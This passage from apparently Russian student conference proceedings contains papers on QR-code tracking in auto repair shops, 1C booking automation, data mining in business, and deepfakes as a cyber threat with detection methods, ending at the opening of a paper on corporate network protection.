Принцип работы системы 
При поступлении автомобиля в ремонт ему присваивается уникальный QR-код 

(рисунок 1). Эта наклейка, изготовленная из прочного и устойчивого к внешним воз-
действиям материала (винил или пластик), размещается в удобном для сканирования 
месте: на внутренней стороне лобового стекла, боковом стекле двери водителя или на 
специальной табличке в ремонтной зоне [1]. В некоторых случаях QR-код может оста-
ваться на автомобиле и после завершения работ, обеспечивая быстрый доступ к исто-
рии обслуживания при последующих визитах. 

 
Рисунок 3 – QR код на автомобиле 

Ключевым элементом системы является принцип сканирования QR-кода. При 
сканировании кода мастер мгновенно получает доступ к полной цифровой информации 
об автомобиле, включая подробную историю предыдущих посещений сервиса. Кроме 
того, он может вносить данные о текущем ремонте, фиксируя время начала и оконча-
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ния работ, перечень использованных запасных частей и выполненных операций. Со-
трудники автосервиса сканируют QR-код на каждом этапе работы с автомобилем – от 
первоначальной диагностики до финального тест-драйва, используя для этого мобиль-
ные устройства или стационарные сканеры. Клиенты также могут сканировать QR-код 
с помощью личных смартфонов, чтобы в дальнейшем в режиме реального времени от-
слеживать статус ремонта своего автомобиля и просматривать детали выполненных ра-
бот [2]. Важно отметить, что все изменения, вносимые сотрудниками сервиса, момен-
тально отображаются в системе и становятся доступны клиенту через его личный каби-
нет на веб-сайте автосервиса или через специальное мобильное приложение. 

Преимущества внедрения QR-кодов 
Такой подход кардинально меняет традиционную логику работы автосервиса. 

На смену бумажным журналам и разрозненным файлам приходит единая, централизо-
ванная база данных, доступ к которой возможен в любой момент времени.  

Клиент получает полную прозрачность процесса: он видит реальный прогресс 
ремонта, стоимость каждой выполненной операции и даже может отслеживать время 
нахождения его автомобиля на различных участках сервиса. Это полностью исключает 
ситуации, когда автомобиль простаивает без дела, а клиенту выставляется счет за яко-
бы проведенные работы. Для сотрудников автосервиса система на основе QR-кодов 
становится мощным организационным инструментом. Больше нет необходимости тра-
тить время на ручное заполнение бумажных форм и составление отчетов – все действия 
автоматически фиксируются в системе. Руководство, в свою очередь, получает в режи-
ме реального времени ценную аналитическую информацию о загрузке мастеров, скоро-
сти выполнения работ и расходе запасных частей, что позволяет эффективно оптими-
зировать рабочие процессы и более точно планировать ресурсы.  

Особого внимания заслуживает тот факт, что внедрение системы на основе QR-
кодов не требует кардинальной перестройки существующих бизнес-процессов. Она 
легко интегрируется в текущую работу автосервиса, дополняя и совершенствуя ее. При 
этом стоимость внедрения такой системы зачастую значительно ниже, чем у сложных 
CRM-систем, а положительный эффект становится заметен практически сразу [3]. Кли-
енты высоко ценят возможность в любой момент проверить статус своего автомобиля, 
ознакомиться с историей обслуживания и даже получить персонализированные реко-
мендации по дальнейшему уходу за машиной на основе собранных данных. Такой уро-
вень сервиса не только повышает лояльность клиентов, но и становится значимым кон-
курентным преимуществом на рынке. Более того, накопленная база данных открывает 
перед автосервисом новые возможности для предоставления персонализированных 
услуг. Например, система может автоматически напоминать клиентам о необходимости 
проведения планового технического обслуживания или предлагать скидки на опреде-
ленные виды работ, основываясь на пробеге автомобиля и истории предыдущих ремон-
тов. В перспективе система с использованием QR-кодов может быть легко интегриро-
вана с другими цифровыми решениями, такими как онлайн-запись на сервис, электрон-
ные платежные системы или даже системы диагностики автомобилей, создавая тем са-
мым по-настоящему «умную» экосистему для обслуживания автомобилей. Технология 
QR-кодов продолжает развиваться, предлагая все новые возможности для улучшения 
сервиса, например, быстрый доступ к руководствам по ремонту, интерактивным схе-
мам или даже видеоотчетам о проведенных работах, что делает обслуживание еще бо-
лее прозрачным и удобным для клиентов. 

Недостатки использования QR-кодов 
Несмотря на многочисленные преимущества, внедрение QR-кодов в автосерви-

сах сопряжено с определенными недостатками. Прежде всего, требуется обучение со-
трудников работе с новой технологией и оборудованием, что влечет за собой времен-
ные и, возможно, финансовые затраты. Эффективность системы напрямую зависит от 



320 

качества используемых сканеров и стабильности интернет-соединения, что может стать 
проблемой в некоторых зонах или при технических сбоях. Кроме того, возникают до-
полнительные расходы на печать долговечных QR-кодов, устойчивых к влаге и меха-
ническим повреждениям, чтобы обеспечить их надежное считывание на протяжении 
всего процесса обслуживания. Наконец, при некорректной настройке и использовании 
системы могут возникнуть вопросы, касающиеся защиты персональных данных клиен-
тов, что требует внимательного отношения к информационной безопасности [4]. 

В ходе работы было рассмотрено внедрение системы QR-кодов в автосервисах 
для автоматизации процессов учета и улучшения качества обслуживания. Авторами 
была проанализирована возможность применения QR-кодов для отслеживания этапов 
ремонта, регистрации работ и информирования клиентов о статусе их автомобилей. 
Было доказано, что использование QR-кодов значительно повышает удобство как для 
сотрудников, так и для клиентов. Автоматизация учета и прозрачность предоставляе-
мых данных сокращает количество ошибок, улучшает взаимодействие с клиентами и 
повышает доверие к сервису. Выявлено, что главным преимуществом внедрения QR-
кодов является простота использования и экономия времени на оформление работ. Си-
стема позволяет надежно хранить историю обслуживания в цифровом виде и легко 
предоставлять доступ клиентам. Самое главное правильно организовать процесс внед-
рения, обучить персонал и предоставить понятные инструкции для пользователей. В 
результате автосервис получает конкурентное преимущество, улучшает качество рабо-
ты и увеличивает лояльность клиентов, что способствует росту прибыли бизнеса. 
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АВТОМАТИЗАЦИЯ ПРОЦЕССА ЗАПИСИ В АВТОМАСТЕРСКУЮ ПРИ 
ПОМОЩИ 1С 
 
AUTOMATING THE PROCESS OF SIGNING UP FOR AN AUTO REPAIR SHOP 
USING 1C 

 
Аннотация. В данной статье рассматриваются возможности автоматизации записи кли-
ентов в автосервис с использованием программных решений на базе 1С. Главное внима-
ние уделяется функциональным возможностям, этапам внедрения и преимуществам ис-
пользования системы «1С:Предприятие 8. Автосервис». Указывается, что автоматизация 
позволяет оптимизировать бизнес-процессы, снизить нагрузку на сотрудников и повы-
сить качество обслуживания клиентов. 
Annotation. This article discusses the possibilities of automating customer registration in a car 
service using 1C-based software solutions. The main focus is on the functionality, implemen-
tation stages, and benefits of using the «1C system.:Enterprise 8. Car service». It is indicated 
that automation makes it possible to optimize business processes, reduce the burden on em-
ployees and improve the quality of customer service. 
Ключевые слова: автоматизация, 1С, автосервис, запись клиентов, управление серви-
сом. 
Keywords: automation, 1C, car service, customer record, service management. 

 
Сегодня клиенты выбирают автосервис не только по качеству ремонта, но и по 

удобству обслуживания, многие мастерские сталкиваются с проблемами из-за устарев-
ших методов записи. Телефонные звонки, бумажные журналы и ручное составление 
расписаний приводят к ошибкам, недовольным клиентам и потерям прибыли. В таких 
условиях автоматизация процессов записи становится не просто удобным инструмен-
том, а необходимостью для развития бизнеса [1]. Цель работы – рассмотреть возмож-
ности автоматизации записи клиентов в автосервис с использованием программных 
решений на базе 1С. Решение на базе «1С:Предприятие 8. Автосервис» позволяет со-
здать четкую систему записи, исключить человеческий фактор и повысить общую эф-
фективность работы автосервиса, предоставляя такие преимущества, как сокращение 
времени обработки заявок, оптимальное распределение нагрузки на мастеров и повы-
шение точности планирования [2].  

Грамотное внедрение этой системы требует детального анализа текущих про-
цессов, адаптации под конкретные нужды автосервиса и обучения персонала, но в ре-
зультате позволяет не только упростить внутренние операции, но и создать принципи-
ально новый уровень сервиса для клиентов, что в итоге способствует росту прибыли и 
сильной конкурентно способности на рынке. 

Основная часть 
Возможности и преимущества автоматизации записи с помощью 1С 
Программное решение «1С:Предприятие 8. Автосервис» создано специально для 

автоматизации автосервисов, станций технического обслуживания и автомоек [3]. В от-
личие от дорогих универсальных подсистем 1С, оно предлагает экономичное и гибкое 
решение, учитывающее отраслевую специфику – от управления заказами и складом до 
работы с клиентами.  

Это позволяет уменьшить затраты и повысить эффективность бизнес-процессов в 
автомобильной сфере. Одной из ключевых особенностей системы является автоматиза-
ция процессов записи на обслуживание, что позволяет эффективно управлять загрузкой 
автосервиса и исключить различные накладки, связанные с неправильным планировани-
ем времени [4].  
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Единый календарь записи позволяет мастерам и менеджерам лучше распределять 
рабочие часы, минимизируя простои и упрощая организацию рабочего процесса. База 
данных клиентов помогает формировать полное представление о потребностях каждого 
клиента, учитывая их предпочтения и историю обслуживания, что позволяет повышать 
уровень обслуживания и ускорять обработку заявок.  

Кроме того, система позволяет автоматизировать учет складских запасов, что 
способствует своевременному пополнению необходимых деталей и предотвращает за-
держки в работе из-за их отсутствия. Контроль за расходными материалами и запча-
стями позволяет оптимизировать закупки и снизить затраты.  

Автоматизация финансовых операций повышает прозрачность расчетов, упро-
щает процесс ведения бухгалтерии и сводит к минимуму вероятность ошибок, что, в 
свою очередь, способствует улучшению финансовой отчетности. На рисунке 1 пред-
ставлено дерево конфигурации системы, демонстрирующее основные функциональные 
блоки и их взаимосвязи. 

 
Рисунок 4 – Дерево конфигурации 

Также автоматизация значительно ускоряет процесс обслуживания клиентов. 
Исключение человеческого фактора в операциях, таких как введение данных и расчет 
стоимости, снижает вероятность ошибок, что делает работу автосервиса более надеж-
ной. Эти улучшения способствуют не только повышению эффективности, но и значи-
тельному улучшению качества обслуживания клиентов. Удобство записи, прозрачность 
процессов и быстрое реагирование на запросы клиентов повышают их лояльность, а 
своевременное выполнение заказов и качественный сервис способствуют привлечению 
новых клиентов [5]. 

Таким образом, внедрение системы «1С:Предприятие 8. Автосервис» позволяет 
не только улучшить внутренние процессы автосервиса, но и значительно повысить 
уровень обслуживания, что в итоге положительно сказывается на общих результатах 
работы предприятия. 

Этапы внедрения автоматизированной системы записи 
На первом этапе проводится детальный анализ текущих бизнес-процессов авто-

сервиса, выявляются слабые места и формируются требования к новой системе. Затем 
на основе анализа выбирается подходящее решение на базе 1С, включая возможное ис-
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пользование готовых конфигураций или разработку индивидуальных настроек с учетом 
особенностей бизнеса [5]. После этого производится настройка системы, интеграция с 
существующими системами учета и внешними сервисами, что обеспечивает беспере-
бойную работу и обмен данными. Сотрудники автосервиса проходят обучение, чтобы 
эффективно использовать все возможности новой системы. После тестирования систе-
мы в реальных условиях и устранения выявленных недостатков она запускается в пол-
ном масштабе. По завершении внедрения осуществляется постоянный мониторинг ра-
боты системы, сбор отзывов сотрудников и клиентов для дальнейших улучшений и оп-
тимизации работы. На рисунке 2 представлен отчет в системе, демонстрирующий воз-
можности анализа и контроля работы автосервиса. 

 
Рисунок 5 – Итоговый отчет 

Данный отчет наглядно отражает количество и виды оказанных услуг, их испол-
нителей, себестоимость, цену продажи и полученную прибыль. Кроме того, в отчете 
представлена информация о клиентах и транспортных средствах, на которых выполня-
лось обслуживание. 

Внедрение системы «1С:Предприятие 8. Автосервис» помогает упростить рабо-
ту автосервиса и сделать обслуживание клиентов удобнее. Благодаря автоматизации 
записи исчезают проблемы с телефонными звонками и путаницей в расписании. Клиен-
ты быстрее записываются, сотрудники тратят меньше времени на бумажную работу, а 
все заказы и платежи учитываются в системе. Главное – правильно настроить програм-
му под определенный автосервис и обучить сотрудников ей пользоваться. Когда систе-
ма внедрена грамотно, сразу виден результат: клиенты довольны, работа идёт гладко, а 
бизнес становится прибыльнее. При этом обладатель бизнеса получает конкурентное 
преимущество – современный сервис, который выделяется среди других автосервисов. 
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ИСПОЛЬЗОВАНИЕ DATA MINING В УПРАВЛЕНИИ БИЗНЕСОМ 
 
USING DATA MINING IN MANAGEMENT OF BUSINESS 
 
Аннотация. В статье рассматривается применение современной технологии Data Mining 
в сфере управления бизнесом для лучшего понимания и представления бизнес-
процессов с целью повышения качества и результативности деятельности. Данный вид 
анализа включает в себя ряд функций, которые поддерживает процесс трансформации 
данных. Также в тексте представлены готовые программные решения для бизнеса. 
Приведены примеры компаний, которые внедрили данные программы, тем самым мо-
дернизировали деятельность. 
Abstract. The article discusses the application of modern Data Mining technology in the field 
of business management for better understanding and representation of business processes in 
order to improve the quality and performance of activities. This type of analysis includes a 
number of functions that supports the process of data transformation. The text also presents 
ready-made software solutions for business. There are examples of companies that have im-
plemented these programs, thus modernizing operations. 
Ключевые слова: Data Mining, интеллектуальный анализ данных, бизнес, цифровые 
технологии, аналитика. 
Key words: Data Mining, intellectual analysis, business, digital technologies, analytics. 
 

В настоящий момент развитие цифровых технологий занимает одно из важней-
ших и ключевых мест в жизни мирового сообщества. Данными разработками охотно 
интересуются представители различных сфер деятельности. Так как их применение 
существенно преобразовывает привычную деятельность в наиболее эффективную, тем 
самым способствуя достижению намеченных результатов быстрее и качественнее. Од-
ной из набирающих популярность цифровой технологией является Data Mining или по-
другому интеллектуальный анализ данных.  

Цель данной работы – изучить сущность технологии Data Mining, функциональ-
ность и ее вклад в управлении бизнесом. К данной технологии все чаще обращаются 
компании, которые стремятся к эффективной автоматизации процессов и оптимизации 
ресурсов, что повысит продуктивность отделов, модернизирует условия труда и сокра-
тит затраты. В совокупности, данные условия позволят организации усовершенствовать 
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свою деятельность, предлагать потребителям наиболее подходящий продукт или услугу 
и улучшить свое положение на рынке. 

Data Mining обозначает обнаружение взаимосвязей для получения новых знаний 
методом анализа большого объема необработанных данных и превращение их в полез-
ную информацию для организации.  Технология Data Mining позволяет компаниям по-
лучить полную информацию в необходимом виде с помощью встроенного набора задач 
(рисунок 1) [1]. 

 
Рисунок 6 – Задачи Data Mining 

Рассмотрим приведенные задачи подробнее, используя типовые примеры из дея-
тельности бизнеса. Классификация – распределение данных по классам (группам) по 
тематике. Например, если компания разрабатывает несколько видов продукции, в базе 
данных содержится разнородная информация, которую для удобства поиска и исполь-
зования необходимо разместить по отдельным группам. 

Кластеризация (сегментация) – это разделение данных на группы по определен-
ным характеристикам. Данная функция необходима при определении целевой аудито-
рии, то есть потребителей, ради которых изготавливается и продается данная продук-
ция. В таком случае используются демографические, социальные, географические и 
психологические признаки. 

Определение отклонений – изучение полученных результатов с целью обнару-
жения возможных изменений. Например, при составлении финансовой отчетности, 
необходимо указать на сколько изменились показатели (выручка, маржинальная при-
быль, чистая прибыль и так далее) и какого характера изменения (отрицательный, по-
ложительный). 

Определение взаимосвязей – процесс поиска связи между рассматриваемыми 
объектами и событиями. В пример можно привести ситуацию, когда на продажу про-
дукции повлиял ребрендинг компании. Так как, изменение образа компании на рынке 
может привести как к положительному исходу (повышение заинтересованности у по-
требителей, следовательно, рост прибыли), так и к отрицательному (некорректное 
представление бренда лишит компанию потребителей, следовательно, и части прибы-
ли). Прогнозирование – составление примерных будущих результатов деятельности, 
опираясь на существующие данные. Одним из примеров может послужить ситуация, 
когда анализируется сезонность продукции, и с учетом данного условия определяется 
объем производства и продаж [4]. Анализ последовательностей – изучение влияния по-
рядка действий на результат деятельности. В качестве примера можно предложить по-
сещение потенциального потребителя сайта. С помощью отслеживания действий мож-
но определить какой раздел является более наполненным и полезным, удобна ли нави-
гация, и на каком этапе пользователь покидает сайт. 
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Анализ отклонений – рассмотрение информации за предыдущий и нынешний 
периоды с целью изучения изменения показателей. Данный вид анализа может приме-
няться в сфере продаж, когда необходимо сверить показатели и отметить причины ро-
ста или снижения покупок.  

При внедрении технологии Data Mining в бизнес-процессы, необходимо учиты-
вать этапы, в ходе которых информация приобретает полезность (рисунок 2) [2]. 

 
Рисунок 7 – Этапы технологии Data Mining 

Далее предоставим список популярных инструментов для интеллектуального 
анализа данных, которыми могут пользоваться компании. 

Microsoft Power BI – сервис, от всемирно известной компании Microsoft, кото-
рый позволяет бизнесу следить за показателями компании, собирать и объединять дан-
ные, автоматически создавать отчеты, мониторить процессы. Для каждой специализа-
ции сотрудников можно настроить собственные показатели для отслеживания. Напри-
мер, директор изучает показали выручки и чистой прибыли, менеджер по продажам – 
выполнение целевых показателей, HR-менеджер – текучесть кадров. 

 SAS Visual Analytics – программный продукт от компании SAS, функции кото-
рого заключаются в обнаружении и обработке данных и представлении их в визуаль-
ном формате (анимированные и сетевые диаграммы, тепловые карты, корреляционные 
матрицы, дерево решений и т.д.). Данная программа отличается высоким уровнем без-
опасности данных и дорогой стоимостью [5]. 

Weka – программное обеспечение, разработанное университетом Вайкако. Дан-
ный продукт поддерживает стандартные функции технологии: предварительная обра-
ботка данных, кластеризация, классификация, регрессия и визуализация [3]. 

MySQL – система управления базами данных, производства корпорации Oracle. 
Система является наиболее популярной среди крупных компаний, так как гарантирует 
безопасность для пользователей и предлагает широкую функциональность для управ-
ления данными (создание таблиц, выполнение запросов, изменение требований и т.д.). 

Для подтверждения практической полезности приведенных программных про-
дуктов для интеллектуального анализа данных для бизнеса, предоставим несколько 
примеров существующих компаний. 

В 2021 году компания Dodo Brands внедрила в собственную сеть пиццерий «До-
до пицца» систему прогнозирования расхода ингредиентов с помощью Microsoft Power 
BI. Данная система понадобилась, так как ранее пиццерии определяли объем ингреди-
ентов приблизительно, из-за этого возникала или перезакупка или нехватка продуктов. 
Следовательно, были большие финансовые и временные затраты. После внедрения 
предиктивной системы, которая отслеживает различные тренды (рост спроса в каждом 
сезоне года, праздники, маркетинговая деятельность и так далее), уменьшилась загру-
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женность работников и сократились затраты, что привело к экономии 4,5 млн. р. в ме-
сяц, то есть до 54 млн. р. в год. 

ОАО «РЖД» сотрудничает с компанией SAS уже на протяжении многих лет. 
Именно их программный продукт позволил компании еще в 2014 году провести реин-
жиниринг данных и создать банк показателей работы. В 2024 году компания SAS пред-
ставила новые аналитические разработки для ОАО «РЖД», которые касаются техноло-
гий in-database и in-memory, унифицированного представления данных предприятия, 
оптимизационных решений и стратегического управления и отчетности. Компания 
Mail.ru использует программу Weka в области аналитики. Данная программа помогает 
анализировать поведение пользователей на платформах, выявлять закономерности и 
предпочтения, чтобы предлагать персонализированные услуги. Также функции класси-
фикации и кластеризации способствует эффективной маркетинговой деятельности ор-
ганизации, так как они группируют пользователей и демонстрируют им определенный 
контент. Известный фотохостинг Pinterest использует MySQL для хранения важных 
данных пользователей (пины, доски, изображения, имена пользователей и пароли). Бо-
лее того, программа позволяет сервису автоматизировать процессы для планирования и 
анализа маркетинговой стратегии. В ходе работы было выявлено, что технология Data 
Mining благоприятно воздействует на управление бизнес-процессами. С помощью 
представленных примеров была доказана эффективность технологии в реальной прак-
тике компаний. Известные и крупные организации используют данную технологию для 
планирования, прогнозирования и аналитики, что позволяет принятию успешных и ре-
зультативных решений. Действия, основанные на результатах проведения интеллекту-
ального анализа данных, демонстрируют повышение уровня качества работы. Также 
были приведены программные продукты, которые уже подтвердили свою надежность и 
многофункциональность для различных сфер бизнеса. 
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DEEPFAKE КАК КИБЕРУГРОЗА: РИСКИ И МЕТОДЫ ОБНАРУЖЕНИЯ 
ПОДДЕЛОК 
 
DEEPFAKE AS A CYBER THREAT: RISKS AND METHODS FOR DETECTING 
FAKES 

 
Аннотация. Данная работа посвящена исследованию проблемы deepfake-технологий 
как киберугрозы, а также их особенностям и методам обнаружения подделок. В рамках 
исследования рассматриваются основные риски, связанные с использованием deepfake, 
включая дезинформацию, манипуляцию общественным мнением и угрозу безопасности 
личных данных. Анализ включает оценку различных методов и технологий, применяе-
мых для обнаружения deepfake-контента, таких как алгоритмы машинного обучения, 
анализ биометрических данных и методы цифровой подписи. Исследование также рас-
сматривает существующие инструменты и решения, используемые для выявления под-
делок, а также их эффективность и ограничения. В результате работы предлагаются ре-
комендации по улучшению методов обнаружения deepfake и минимизации рисков, свя-
занных с его использованием. Данное исследование будет полезно как для специали-
стов в области кибербезопасности, так и для разработчиков программного обеспечения, 
работающих над средствами защиты от киберугроз. 
Abstract. This paper examines the problem of deepfake technologies as a cyber threat, as well 
as their features and methods for detecting fakes. The study examines the main risks associat-
ed with the use of deepfake, including disinformation, manipulation of public opinion and a 
threat to the security of personal data. The analysis includes an assessment of various methods 
and technologies used to detect deepfake content, such as machine learning algorithms, bio-
metric data analysis and digital signature methods. The study also examines existing tools and 
solutions used to detect fakes, as well as their effectiveness and limitations. As a result of the 
work, recommendations are offered for improving deepfake detection methods and minimiz-
ing the risks associated with its use. This study will be useful both for cybersecurity special-
ists and for software developers working on means of protection against cyber threats. 
Ключевые слова: машинное обучение, биометрические данные, технология GAN, ис-
кусственный интеллект, кибератака, нейронные сети. 
Key words: machine learning, biometric data, GAN technology, artificial intelligence, cyber 
attack, neural network. 
 

В современном цифровом мире технологии deepfake становятся все более рас-
пространенными и вызывают серьёзные опасения в контексте киберугроз. Deepfake – 
это метод синтеза изображений и видео, который использует искусственный интеллект 
для создания поддельного контента, что делает его трудным для обнаружения и распо-
знавания. Эти технологии могут быть использованы как в положительных, так и в от-
рицательных целях, однако их злоупотребление создает значительные риски для лич-
ной безопасности, общественного мнения и даже политической стабильности. 

Одним из основных аспектов, вызывающих тревогу, является возможность ма-
нипуляции общественным сознанием через фальсификацию видео и аудио материалов. 
Это может привести к распространению дезинформации, разрушению репутации от-
дельных лиц и организаций, а также к вмешательству в выборные процессы. В услови-
ях, когда информация становится основным ресурсом, знание о том, как обнаружить и 
противостоять deepfake-контенту, становится необходимым для защиты общества от 
манипуляций. В данной статье мы рассмотрим риски, связанные с использованием 
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deepfake-технологий, и проанализируем существующие методы их обнаружения. Мы 
обсудим, как современные подходы, включая алгоритмы машинного обучения и био-
метрические технологии, могут помочь в выявлении подделок и обеспечении безопас-
ности в цифровом пространстве.  

Deepfake – это технология, основанная на искусственном интеллекте и машин-
ном обучении, которая позволяет создавать фальшивые видеозаписи или аудиозаписи, 
в которых лица или голоса людей заменяются на других. Эта технология использует 
алгоритмы, такие как генеративные состязательные сети (GAN), для создания реали-
стичных подделок, которые могут быть трудны для распознавания. 

Риски, связанные с deepfake 
Дезинформация и манипуляция общественным мнением представляют собой се-

рьезные риски, связанные с использованием этих технологий. Одним из самых значи-
тельных рисков, связанных с deepfake, является возможность распространения дезин-
формации. С помощью поддельных видео можно создавать ложные свидетельства, 
фальсифицировать события или даже подрывать доверие к общественным фигурам. 
Например, в преддверии выборов такие технологии могут быть использованы для со-
здания компрометирующих видео, которые могут повлиять на результаты голосования. 

Примеры: 
1. Политические кампании: в ходе выборов злоумышленники могут создать ви-

део, где кандидат говорит или делает что-то, что никогда не происходило, что может 
сильно повлиять на общественное мнение. 

2. Социальные движения: Deepfake может быть использован для подрыва репу-
тации лидеров общественного мнения или активистов, создавая ложные нарративы, ко-
торые могут вызвать общественное недовольство или протесты. 

Угроза безопасности личности также является важным аспектом, поскольку 
злоумышленники могут подделывать образы и данные людей. Deepfake может быть ис-
пользован для создания компрометирующих материалов, которые могут угрожать ре-
путации и безопасности отдельных лиц. Например, фальшивые видео, в которых люди 
выглядят так, будто они участвуют в неподобающих действиях, могут быть использо-
ваны для шантажа или клеветы. Это создает опасную среду, где личная безопасность 
оказывается под угрозой [1]. 

Примеры: 
1. Шантаж: злоумышленники могут создавать поддельные видео с участием 

жертв, что может привести к шантажу и эмоциональному стрессу. 
2. Клевета: фальшивые видео могут использоваться для распространения лож-

ных обвинений, что может разрушить карьеру и личную жизнь человека. 
Подрыв доверия к медиа происходит из-за сомнений в подлинности представля-

емой информации, что негативно сказывается на восприятии новостей обществом. В 
условиях, когда подделки становятся все более сложными, общество может начать те-
рять доверие к медиа и информации в целом. Если пользователи не могут отличить 
правду от лжи, это может привести к общему недоверию к новостям и информации, 
что, в свою очередь, подрывает демократические процессы и общественные институты. 

Примеры: 
1. Снижение доверия: если общество начнет воспринимать все медиа как потен-

циально недостоверные, это может привести к росту популизма и радикализации. 
2. Проблемы с информацией: журналисты и медиа-организации могут столк-

нуться с трудностями в подтверждении фактов, что усложнит их работу и снизит каче-
ство журналистики. 

Кроме того, deepfake-технологии могут быть использованы в кибератаках, что 
создает дополнительные угрозы для безопасности как индивидуумов, так и организа-
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ций. Технологии deepfake могут быть использованы в кибератаках, направленных на 
компании и организации. Например, злоумышленники могут создать поддельные ви-
део, чтобы выдать себя за высокопоставленных сотрудников, что может привести к 
утечке конфиденциальной информации или финансовым потерям. 

Примеры: 
1. Фишинг: злоумышленники могут использовать deepfake для создания видео, в 

котором CEO компании отдает указания о переводе средств, что может привести к фи-
нансовым потерям. 

2. Социальная инженерия: используя поддельные видео, злоумышленники мо-
гут манипулировать сотрудниками, заставляя их раскрывать конфиденциальную ин-
формацию или выполнять небезопасные действия [2]. 

Методы обнаружения deepfake 
С учётом всех вышеописанных рисков, разработка методов обнаружения 

deepfake становится крайне важной задачей. Существует несколько подходов, которые 
могут помочь в выявлении подделок: 

1. Алгоритмы машинного обучения. Алгоритмы машинного обучения играют 
ключевую роль в обнаружении deepfake. Эти алгоритмы могут обучаться на больших 
объемах данных, что позволяет им выявлять аномалии и характеристики, присущие 
поддельным видео. 

Обучение на больших наборах данных: алгоритмы могут анализировать тысячи 
подлинных и поддельных видео, чтобы выявить паттерны, которые отличают их друг от 
друга. Например, они могут изучать движения глаз, мимику, а также синхронизацию ре-
чи и движения губ. 

Анализ временных рядов: некоторые алгоритмы могут анализировать последо-
вательность кадров, чтобы выявить несоответствия в движениях или выражениях, ко-
торые могут указывать на редактирование. Глубокие нейронные сети: использование 
глубоких нейронных сетей, таких как сверточные нейронные сети (CNN), позволяет 
эффективно обрабатывать визуальные данные и выявлять особенности, которые могут 
быть незаметны для человеческого глаза. 

2. Анализ биометрических данных. Биометрические технологии, такие как рас-
познавание лиц, могут быть использованы для обнаружения deepfake. 

Сравнение с реальными изображениями: сравнение биометрических данных, по-
лученных из видео, с реальными изображениями позволяет определить, является ли ви-
део подлинным. Например, алгоритмы могут анализировать расстояние между глазами, 
форму рта и другие уникальные характеристики лица. 

Динамика движений: анализ движения лица в видео может выявить несоответ-
ствия. Например, в поддельных видео могут наблюдаться неестественные движения 
или задержки в мимике, которые не соответствуют реальным человеческим реакциям. 

Идентификация аномалий: биометрические системы могут выявлять аномалии в 
поведении, такие как отсутствие мелких движений, которые обычно присутствуют в 
естественном взаимодействии человека. 

3. Методы цифровой подписи и водяных знаков. Внедрение технологий цифро-
вой подписи и водяных знаков может помочь в защите оригинального контента. 

Цифровая подпись: этот метод позволяет удостоверить подлинность видео, со-
здавая уникальный код, который подтверждает, что контент не был изменен после его 
создания. Если видео было изменено, подпись становится недействительной. 

Водяные знаки: водяные знаки могут быть встроены в видео на этапе его созда-
ния. Это позволяет отслеживать изменения и определять, было ли видео изменено. Од-
нако, как и цифровые подписи, эти методы требуют предварительной реализации и мо-
гут не всегда быть доступны для всех типов контента. 
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Анализ метаданных: метаданные видео, такие как дата создания, устройство запи-
си и другие параметры, могут помочь в определении подлинности контента. Анализ этих 
данных может выявить несоответствия, которые указывают на возможные подделки. 

4. Образование и осведомленность пользователей. Важным аспектом борьбы с 
deepfake является просвещение пользователей о рисках, связанных с подделками. 

Обучение распознаванию фальшивок: обучение пользователей тому, как распо-
знавать поддельные видео и другие формы дезинформации, может значительно снизить 
вероятность их воздействия. Это может включать в себя обучение основным призна-
кам, по которым можно отличить подделки от подлинного контента. Проверка источ-
ников информации: пользователи должны быть осведомлены о том, как проверять ис-
точники информации, чтобы удостовериться в их надежности. Это может включать в 
себя использование проверенных новостных сайтов и платформ для проверки фактов 
[3]. Использование технологий для проверки подлинности: обучение пользователей ис-
пользованию технологий, таких как приложения для проверки подлинности видео, мо-
жет помочь в выявлении подделок до их распространения. 

В работе было проведено исследование проблемы deepfake-технологий как ки-
беругрозы. Авторами было проанализировано множество аспектов, связанных с ис-
пользованием deepfake, включая риски дезинформации и манипуляции общественным 
мнением, что подчеркивает серьезность угрозы для общества и безопасности личных 
данных. Авторы доказали, что существующие методы обнаружения deepfake-контента, 
такие как алгоритмы машинного обучения, анализ биометрических данных и т.д., име-
ют свои ограничения и не всегда способны эффективно справляться с новыми и слож-
ными формами подделок. В результате анализа было выявлено, что многие из суще-
ствующих инструментов для выявления подделок требуют доработки и улучшения, 
чтобы повысить свою эффективность. 

 
СПИСОК ИСТОЧНИКОВ 
1. Калятин, В. О. Дипфейк как правовая проблема: новые угрозы или новые воз-

можности? / В. О. Калятин // Закон. 2022. № 7. – С. 87–103. – DOI: 10.37239/0869-4400-
2022-19-7-87-103. – EDN SUGKZE. 

2. Добробаба, М. Б. Дипфейки как угроза правам человека / М. Б. Добробаба // 
Lex Russica. 2022. Т. 75. № 11. – С. 112–119. – DOI: 10.17803/1729-5920.2022.192.11.112-
119. – EDN QAWSQO. 

3. Киселев, А. С. О необходимости правового регулирования в сфере искусствен-
ного интеллекта: дипфейк как угроза национальной безопасности / А. С. Киселев // Вест-
ник Московского государственного областного университета. Серия: Юриспруденция. 
2021. № 3. – С. 54–64. – DOI: 10.18384/2310-6794-2021-3-54-64. – EDN CPDCFF. 

 
УДК 004.054 
Парамонов Влад Геннадьевич, студент, Комсомольский-на-Амуре государственный 
университет  
Paramonov Vlad Gennadyevich, student, Komsomolsk-na-Amure State University 
Левичев Алексей Сергеевич, аспирант, Комсомольский-на-Амуре государственный 
университет 
Levichev Alexey Sergeevich, graduate student, Komsomolsk-na-Amure State University 
 
СПОСОБЫ ЗАЩИТЫ КОРПОРАТИВНЫХ СЕТЕЙ 
 
WAYS TO PROTECT CORPORATE NETWORKS 
 



332 

Аннотация.  Статья посвящена комплексному анализу способов защиты корпоративных 
сетей, направленных на нейтрализацию как внешних, так и внутренних угроз. Цель ис-
следования — выявить оптимальные способы решения по защите корпоративной сети, 
направленных как на кражу данных, так и на дестабилизацию сети, происходящих извне, 
например, хакерских вторжений и DDoS-атак, минимизацию рисков, так и внутри: виру-
сы, утечки данных, злонамеренные действия персонала. Проведён анализ эффективности 
этих методов в различных сценариях: противодействие сложным целевым атакам. 
Abstract. The article is devoted to a comprehensive analysis of ways to protect corporate net-
works aimed at neutralizing both external and internal threats. The aim of the research is to 
identify the optimal ways of solutions to protect the corporate network, aimed at both data theft 
and destabilization of the network, occurring from the outside, such as hacker intrusions and 
DDoS-attacks, risk minimization, and inside: viruses, data leaks, malicious actions of personnel. 
The effectiveness of these methods in different scenarios is analyzed: countering complex tar-
geted attacks. 
Ключевые слова: корпоративная сеть, способы, защита, киберугроза, IT 
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Данная работа посвящена анализу способов защиты корпоративных сетей от со-

временных киберугроз. В условиях стремительного развития технологий и роста числа 
атак через интернет, профессии, связанные с кибербезопасностью, становятся обяза-
